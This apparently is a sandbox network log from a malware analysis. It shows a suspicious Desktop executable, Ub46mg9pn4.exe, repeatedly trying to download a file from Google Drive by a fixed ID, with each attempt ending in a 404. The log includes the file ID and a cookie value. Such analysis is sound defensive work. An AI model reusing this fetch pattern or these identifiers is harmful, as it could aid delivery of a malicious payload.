2025-01-10 14:38:37 UTC	460	OUT	GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:38:38 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7uArMNzvcNiC-2IscGWHzhT5ZmJl69s4-tQMa9cxhQfDLcL3VTutifOEK2AJJaKctD Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:38:38 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-_xG_xTwvjA8mvJtgyma0qg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:38:38 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 44 4d 52 65 70 43 6f 42 61 77 75 6f 4e 4b 79 6f 71 51 76 4b 43 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="DMRepCoBawuoNKyoqQvKCA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.11.30	49832	142.250.190.78	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:38:48 UTC	418	OUT	GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:38:48 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:38:48 GMT Location: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-oNQtiO8SR9MrItuT91ti9A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.11.30	49833	142.250.191.225	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:38:49 UTC	460	OUT	GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:38:49 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5bO7aN4b9VgLv5X4BZySN2Ydco9nUJ-B-ms6TFV-1i_V47im69FPo1u9AduTUQdBlNFixFY3Y Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:38:49 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'nonce-RsZ16NXkaFFS5nhMSO8TFQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:38:49 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 35 50 72 67 61 6e 64 39 4f 73 6a 4b 45 77 51 72 43 44 41 6e 65 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="5Prgand9OsjKEwQrCDAneQ">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.11.30	49834	142.250.190.78	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:38:59 UTC	418	OUT	GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:39:00 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:38:59 GMT Location: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-g34INCkfahLTF6KjwoSSkQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.11.30	49835	142.250.191.225	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:00 UTC	460	OUT	GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:39:00 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4vGtrM6mxDhIaJt1B6qUFCDnSAME5TLgZf6yZzBKzHxS3TWSrRhsV1UjzSkg68R7V3 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:00 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'nonce-hC5FO_vh1Bcya19r1Dodvw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:39:00 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4e 5f 41 45 56 2d 49 79 53 75 6e 4f 47 44 61 5f 49 6b 44 58 34 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="N_AEV-IySunOGDa_IkDX4Q">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.11.30	49836	142.250.190.78	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:11 UTC	418	OUT	GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:39:11 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:11 GMT Location: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-CZGdcWReIOoSUFA80OHH-w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.11.30	49837	142.250.191.225	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:11 UTC	460	OUT	GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:39:11 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5rlzSVT83Jhl_g9vNOhMsIVd9uyrQwKc1W08COq-hLRYtlQlSAGPtWVkRFFGVRi6XmrrTV_hE Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:11 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-D9B7YV5zKGHXtAKRr4rMGA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:39:11 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6f 49 56 64 4b 6a 78 73 32 49 2d 4f 5f 5a 4f 6d 38 49 69 4e 79 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="oIVdKjxs2I-O_ZOm8IiNyA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.11.30	49838	142.250.190.78	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:22 UTC	418	OUT	GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:39:22 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:22 GMT Location: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-wM9lzRAQmNygI4rcTk75yg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.11.30	49839	142.250.191.225	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
